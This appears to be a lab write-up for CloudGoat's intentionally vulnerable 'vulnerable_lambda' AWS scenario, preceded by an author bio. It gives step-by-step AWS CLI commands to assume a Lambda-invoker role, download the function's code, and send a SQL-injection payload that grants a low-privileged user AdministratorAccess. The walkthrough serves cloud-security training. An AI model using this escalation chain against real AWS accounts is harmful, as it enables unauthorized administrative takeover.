CloudGoat 2.0 - vulnerable_lambda
Breaking Down AWS Attack Paths: A Hands-On Approach To AWS security

Rewanth Tammana is a security ninja, open-source contributor, and a full-time freelancer. Previously, Senior Security Architect at Emirates NBD (National Bank of Dubai). He is passionate about DevSecOps, Cloud, and Container Security. He added 17,000+ lines of code to Nmap (famous as Swiss Army knife of network utilities). Holds industry certifications like CKS (Certified Kubernetes Security Specialist), CKA (Certified Kubernetes Administrator), etc.
Rewanth speaks and delivers training at international security conferences worldwide including Black Hat, Defcon, Hack In The Box (Dubai and Amsterdam), CRESTCon UK, PHDays, Nullcon, Bsides, CISO Platform, null chapters and multiple others.
He was recognized as one of the MVP researchers on Bugcrowd (2018) and identified vulnerabilities in several organizations. He also published an IEEE research paper on an offensive attack in Machine Learning and Security. He was also a part of the renowned Google Summer of Code program.
vulnerable_lambda is one of the scenarios from CloudGoat - An intentionally vulnerable by design AWS setup.
Difficulty: Easy
Hands-On
Task
Initialize the terraform script to set the vulnerable scenario on your AWS account.
./cloudgoat.py create vulnerable_lambda

Once the setup is complete, the new account credentials will be available in the below file.

The task is to use these credentials to authenticate as low privileged user & escalate the privileges in the cloud environment.
Hints
The creator leaves us some hints to leverage & fast-track the win.

Solution
Authenticate using the new credentials. We use bilbo (got from hints screenshot)
# Uses stdout instead of vim to show output
export AWS_PAGER=
aws configure --profile bilbo

Check the user ID and account information
aws sts get-caller-identity --profile bilbo

In the hints screenshot, it says "List IAM" roles. Let's try to do that
aws iam list-roles --profile bilbo | jq '.Roles[].RoleName'

Among tens of roles, these two stand out for me considering, we are solving vulnerable_lambda challenge. Let's see what they are made of!
The <role_name> in the below command will be different for you as its randomly generated. Replace it accordingly.
export ROLE_NAME=cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10
aws iam get-role --profile bilbo --role-name $ROLE_NAME | jq -r '.Role.AssumeRolePolicyDocument.Statement'

We have two roles - one can assume any role as the current user & other can assume a role as lambda. Let's assume the cg-lambda-invoker-... role. To assume, the role, we need the role ARN.
aws iam get-role --profile bilbo --role-name $ROLE_NAME | jq -r '.Role.Arn'
Use the arn from above & use it to assume role
aws sts assume-role --profile bilbo --role-arn arn:aws:iam::558267956267:role/cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10 --role-session-name vulnerable-lambda-session

Create a new profile with this assumed role or export them as environment variables
output=$(aws sts assume-role --profile bilbo --role-arn arn:aws:iam::558267956267:role/cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10 --role-session-name vulnerable-lambda-session)
export AWS_ACCESS_KEY_ID=$(echo $output | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $output | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $output | jq -r '.Credentials.SessionToken')
aws sts get-caller-identity

We can see, the current Arn points to vulnerable-lambda-session, so we are on the right path. Since this user is capable of performing lambda operations, let's try to list the lambda functions.
Lambda functions & analysis
aws lambda list-functions

In the description, we can see, This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...
If that's true, we can add a managed policy like AdministratorAccess to our user & elevate the privileges. To validate, let's download the source code.
# Get function name
aws lambda list-functions | jq -r '.Functions[].FunctionName'
aws lambda get-function --function-name $(aws lambda list-functions | jq -r '.Functions[].FunctionName') | jq -r '.Code'

Download the source code from this location.
mkdir /tmp/test
wget -O /tmp/test/download.zip $(aws lambda get-function --function-name $(aws lambda list-functions | jq -r '.Functions[].FunctionName') | jq -r '.Code.Location')
cd /tmp/test
unzip download.zip


If you scroll to the end in main.py, we can the payload structure to invoke the lambda function.
{
"policy_names": [
"AmazonSNSReadOnlyAccess",
"AWSLambda_ReadOnlyAccess"
],
"user_name": "cg-bilbo-user"
}
Check the username of the bilbo profile user.
aws sts get-caller-identity --profile bilbo

Now, let's use this bilbo user & try to assign overprivileged permissions. In my case, the user_name is cg-bilbo-vulnerable_lambda_cgid0isrortd10. Save below inforamtion to payload.json
{
"policy_names": [
"AmazonSNSReadOnlyAccess",
"AWSLambda_ReadOnlyAccess",
"AdministratorAccess"
],
"user_name": "cg-bilbo-vulnerable_lambda_cgid0isrortd10"
}
Let's use the current user with permissions to invoke lambda functions & pass this as input.
aws lambda invoke --function-name vulnerable_lambda_cgid0isrortd10-policy_applier_lambda1 --payload file://./payload.json --cli-binary-format raw-in-base64-out out.txt

If you see the output, it says AdministratorAccess isn't an approved policy.
SQL Injection
If you see the main.py code, there's no validation on user input & it open's up a possibility for SQL injection.

Let's try to create a payload with SQL injection.
{
"policy_names": [
"AmazonSNSReadOnlyAccess",
"AWSLambda_ReadOnlyAccess",
"AdministratorAccess' --"
],
"user_name": "cg-bilbo-vulnerable_lambda_cgid0isrortd10"
}
Invoke the lambda function!
aws lambda invoke --function-name vulnerable_lambda_cgid0isrortd10-policy_applier_lambda1 --payload file://./payload.json --cli-binary-format raw-in-base64-out out.txt

Let's check the permissions of this bilbo user now. We can check it using list-attached-user-policies
aws sts get-caller-identity --profile bilbo # Get user-name from here
aws iam list-attached-user-policies --profile bilbo --user-name cg-bilbo-vulnerable_lambda_cgid0isrortd10
As you can see in the output, we have now AdministratorAccess

We successfully elevated the privileges to be an administrator.



